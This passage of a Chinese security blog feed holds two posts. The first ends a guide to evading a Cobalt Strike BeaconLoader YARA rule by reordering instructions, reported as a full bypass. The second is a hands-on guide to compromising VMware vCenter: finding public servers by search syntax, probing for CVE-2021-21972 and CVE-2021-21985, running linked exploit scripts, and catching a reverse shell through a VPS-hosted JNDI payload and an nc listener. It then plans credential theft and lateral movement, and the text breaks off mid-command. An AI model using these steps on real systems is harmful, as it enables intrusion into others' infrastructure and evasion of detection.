rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">rule CobaltStrike__Sleeve_BeaconLoader_MVF_x64_o_v4_3_v4_4_v4_5_and_v4_6</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  meta:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    desc=&#34;Cobalt Strike&#39;s sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    rs1 = &#34;9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    author = &#34;gssincla@google.com&#34;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  strings:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    /*</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 58 4D mov     [rsp+98h+var_40], 4Dh ; &#39;M&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 59 61 mov     [rsp+98h+var_3F], 61h ; &#39;a&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5A 70 mov     [rsp+98h+var_3E], 70h ; &#39;p&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5B 56 mov     [rsp+98h+var_3D], 56h ; &#39;V&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5C 69 mov     [rsp+98h+var_3C], 69h ; &#39;i&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5D 65 mov     [rsp+98h+var_3B], 65h ; &#39;e&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5E 77 mov     [rsp+98h+var_3A], 77h ; &#39;w&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5F 4F mov     [rsp+98h+var_39], 4Fh ; &#39;O&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 60 66 mov     [rsp+98h+var_38], 66h ; &#39;f&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 61 46 mov     [rsp+98h+var_37], 46h ; &#39;F&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 62 69 mov     [rsp+98h+var_36], 69h ; &#39;i&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 63 6C mov     [rsp+98h+var_35], 6Ch ; &#39;l&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 64 65 mov     [rsp+98h+var_34], 65h ; &#39;e&#39;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    */</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    $core_sig = {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 58 4D</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 59 61</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5A 70</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5B 56</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5C 69</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5D 65</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5E 77</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 5F 4F</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 60 66</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 61 46</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 62 69</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 63 6C</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      C6 44 24 64 65</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    // These strings can narrow down the specific version</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    //$ver_43 = { 96 2C 3E 60 }         // Version 4.3</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    //$ver_44_45_46 = { D2 57 86 5F }   // Versions 4.4, 4.5, and 4.6</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">  condition:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    all of them</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><p cid="n53" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">cs会根据profile中allocator选项选择相应的反射加载器，对应三种申请内存的方式：HeapAlloc、MapViewOfFile 和 VirtualAlloc</span></p><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这里我使用的是MapViewOfFile，再次拿起心爱的ida，打开BeaconLoader.MVF.x64.o，找到对应的位置：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ef9c00d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhx7ugU3gjIYPttwqdLRxQYEyJRlSv19ic982WLibcGSbOhj3Wl8nJ1CBMA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这可太简单了，直接把顺序打乱就行，不影响</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5692307692307692" data-s="300,640" style="" data-type="png" data-w="650" src="https://wechat2rss.xlab.app/img-proxy/?k=167de4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhxk5FoEic5iavLIymHraRicEB7FZvs2S63h0kcR7VfPe7a1gJFySNO5AGAw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n98" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">验证一下，全部bypass：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4640625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=35484025&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcfrKx62vAJK6gAlemsBMhx2zmGEuvIJ9kHHAicD68hI66IiaD4AthK7pnLaVquHcWzjHur6PSBwEicg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><h2 cid="n102" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">结语</span></h2><p cid="n104" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">每只CS的体质不同（profile、linstener、架构、魔改等），命中的规则也不同，本文只是抛砖引玉。</span></p><p cid="n106" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">不要给我提什么：哎呀你还用cs啊，我们都换别的啦，我们都自研啦巴拉巴拉，我只是觉得对于很多平民玩家，缝缝补补能用，不就行了吗？</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484869">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f3b7e272&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484869%26idx%3D1%26sn%3Df7078c93be2f1341f443ff5d02a37eb1%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 25 Nov 2022 20:44:00 +0800</pubDate>
    </item>
    <item>
      <title>VMware vCenter漏洞实战利用总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484848&amp;idx=1&amp;sn=0bed08e6d02facd721fc1735f987e09f</link>
      <description>Vcenter人送外号小域控，Vcenter拿下之后，不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】，拿下Vcenter的价值不亚于域控的价值。</description>
      <content:encoded><![CDATA[<p>
<span>潘安</span> <span>2022-05-10 20:20</span> <span style="display: inline-block;">江苏</span>
</p>

<p>Vcenter人送外号小域控，Vcenter拿下之后，不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】，拿下Vcenter的价值不亚于域控的价值。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b8ab305a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfz2Z7sh6Yiaicf22Q7IfNuGxFicdKM5H2LGRDIY11pDZyPRkCMPribBz0xllQhphjibHZ18Bc6zWOcPCg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 24px;"><strong>前言<br/></strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p>Vcenter一般指VMware vCenter Server，其提供了一个可伸缩、可扩展的平台，为虚拟化管理奠定了基础，可集中管理VMware vSphere环境，与其他管理平台相比，极大地提高了IT管理员对虚拟环境的控制，Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。</p><p><br/></p><p><span style="font-size: 24px;"><strong>利用思路</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>Vcenter利用点非常多，获取权限之后危害较大，并且web特征明显，内网中很容易被发现。</p></li></ul><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>发现之后，查看Vcenter版本信息，确定存在的漏洞，通过漏洞获取webshell。</p></li></ul><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>测试权限，如果权限为root，进行伪造cookie或者创建用户操作获取web权限，进入vCenter后台获取更多机器的权限，尽可能的滚雪球扩大战果，如果权限为vsphere-ui，则查看版本是否存在条件提权，存在条件提权就提权到root权限，重复root权限操作。如果不存在条件提权，就尽可能的从当前机器中记录数据，以此机器作为跳板机进行内网漫游。</p></li></ul><p><br/></p><p><strong><span style="font-size: 24px;">实战思路</span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>为什么要打Vcenter</p></li></ul><p>Vcenter人送外号小域控，Vcenter拿下之后，不单单只是获取一台服务器的权限【因为Vcenter的管理端中必然会有其他的虚拟机存在】，拿下Vcenter的价值不亚于域控的价值。</p><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>怎么寻找公网的Vcenter</p></li></ul><p>通过搜索语法查找公网Vcenter服务器，一般Vcenter开放的端口为5480，此外，使用工具获取网页title时，也可以发现Vcenter服务器。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">title</span>=<span class="code-snippet__string">&#34;+ ID_VC_Welcome +&#34;</span></span></code></pre></section><p><br/></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p>打下Vcenter之后应该做什么</p></li></ul><p>内网三要素，我是谁？我在哪？我要去哪？接下来就是翻找数据，伪造cookie或者创建用户操作获取web权限，获取windows机器的hash，或者直接进入虚拟机进行信息搜集，做专属的密码本，一些相关的敏感数据也是加分项，以便于后期的内网渗透，信息搜集做的好，漏洞绝对跑不了。</p><p><br/></p><p><strong><span style="font-size: 20px;">查看Vcenter版本</span></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">/sdk/vimServiceVersions.xml</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7166324435318275" data-s="300,640" style="" data-type="png" data-w="487" src="https://wechat2rss.xlab.app/img-proxy/?k=5bfe3cfc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS79AuwsKeFennrHlvwe6ricW6m4V7fboeQ5ABGN99whA2QaYx0rznAviag%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong><span style="font-size: 24px;">漏洞利用<br/></span></strong></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><strong>·Nuclei<br/></strong></p><p><br/></p><p><strong>工具介绍</strong><br/></p><p>Nuclei是一个快速的、基于模板的漏洞扫描程序，专注于广泛的可配置性、大规模的可扩展性和易用性，方便利用模板快速定位漏洞。</p><p><br/></p><p><strong>项目地址<br/></strong></p><p><a href="https://github.com/projectdiscovery/nuclei" target="_blank">https://github.com/projectdiscovery/nuclei</a></p><p><strong><br/></strong></p><p><strong>·CVE-2021-21972</strong></p><p><br/></p><p><strong>使用脚本</strong></p><p><a href="https://github.com/NS-Sp4ce/CVE-2021-21972" target="_blank">https://github.com/NS-Sp4ce/CVE-2021-21972</a></p><p><br/></p><p><strong>命令<br/></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">python</span> cve-<span class="code-snippet__number">2021</span>-<span class="code-snippet__number">21972</span>.py -url</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5343320848938826" data-s="300,640" style="" data-type="png" data-w="801" src="https://wechat2rss.xlab.app/img-proxy/?k=0cdd5008&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7dT9z40MXtPCTQRtYLmvxcSf1edLjNsNC5dPbnVjncPkhib4c1ibeRXbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8334995014955134" data-s="300,640" style="" data-type="png" data-w="1003" src="https://wechat2rss.xlab.app/img-proxy/?k=43fa22a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7WQq9p5P4yBjic0LpCaUdePTeBLiarO2KGfuj8Mz01Lb9ywUI5uJzibamA%2F640%3Fwx_fmt%3Dpng"/></p><p><strong><br/></strong></p><p><strong>影响版本<br/></strong></p><p><strong><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 7.0系列 &lt; 7.0.U1c</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 6.7系列 &lt; 6.7.U3l</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware vCenter Server 6.5系列 &lt; 6.5 U3n</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware ESXi 7.0系列 &lt; ESXi70U1c-17325551</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware ESXi 6.7系列 &lt; ESXi670-202102401-SG</span><br style="box-sizing: border-box;color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">VMware ESXi 6.5系列 &lt; ESXi650-202102101-SG</span><br/></strong></p><p><strong><br/></strong></p><p><span style="color: rgb(255, 0, 0);">攻击脚本至少需要写120次，寻找真实的绝对路径，<span style="color: rgb(255, 0, 0);">受网络问题影响较大，</span>如果写入成功，就会直接回显shell地址。<br/></span></p><p><br/></p><p><strong>确认漏洞</strong></p><ol style="list-style-type: decimal;" class="list-paddingleft-1"><li><p>通过Nuclei获取存在漏洞的网站。</p></li><li><p><span style="color: rgb(51, 51, 51);font-family: -apple-system, BlinkMacSystemFont, 微软雅黑, &#34;PingFang SC&#34;, Helvetica, Arial, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;font-size: 17px;">Url中拼接/ui/vropspluginui/rest/services/uploadova，如果页面返回状态码为200、405，则可能存在漏洞。</span></p></li></ol><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.29801829268292684" data-s="300,640" style="" data-type="png" data-w="1312" src="https://wechat2rss.xlab.app/img-proxy/?k=a784da69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7vfGHvxtqReOmiaPdtyibFSOXzNMlaibtNnbJL6zeoianVfNwuJDic3qRtFQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong>·CVE-2021-21985<br/></strong></p><p><br/></p><p><strong>使用脚本</strong><br/></p><p><a href="https://github.com/r0ckysec/CVE-2021-21985" target="_blank">https://github.com/r0ckysec/CVE-2021-21985</a></p><p><br/></p><p><strong>命令<br/></strong></p><p><strong>VPS<br/></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">java -jar JNDIInjection-Bypass.jar 1099 <span class="code-snippet__tag">&lt;<span class="code-snippet__name">vpsip</span>&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">监听port</span>&gt;</span> # 使用脚本生成pyload</span></code><code><span class="code-snippet_outer">nc -lvvp <span class="code-snippet__tag">&lt;<span class="code-snippet__name">监听port</span>&gt;</span> # nc接收反弹shell</span></code></pre></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.15211970074812967" data-s="300,640" style="" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=06233fe6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7knBRHAKDRR94RR3UkzaoTAedH97u8zlCib4BWTVhega7rRHG4rOicF0A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1311881188118812" data-s="300,640" style="" data-type="png" data-w="404" src="https://wechat2rss.xlab.app/img-proxy/?k=61f9b97f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvfEMTE0vxUh87HJ5Tz1uLS7ze7oyOspO3QctsZ2F88aBDiaQspVmDfnkRyDwVQ0k8CjeicicmZ9p9k3g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><strong>攻击鸡<br/></strong></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" 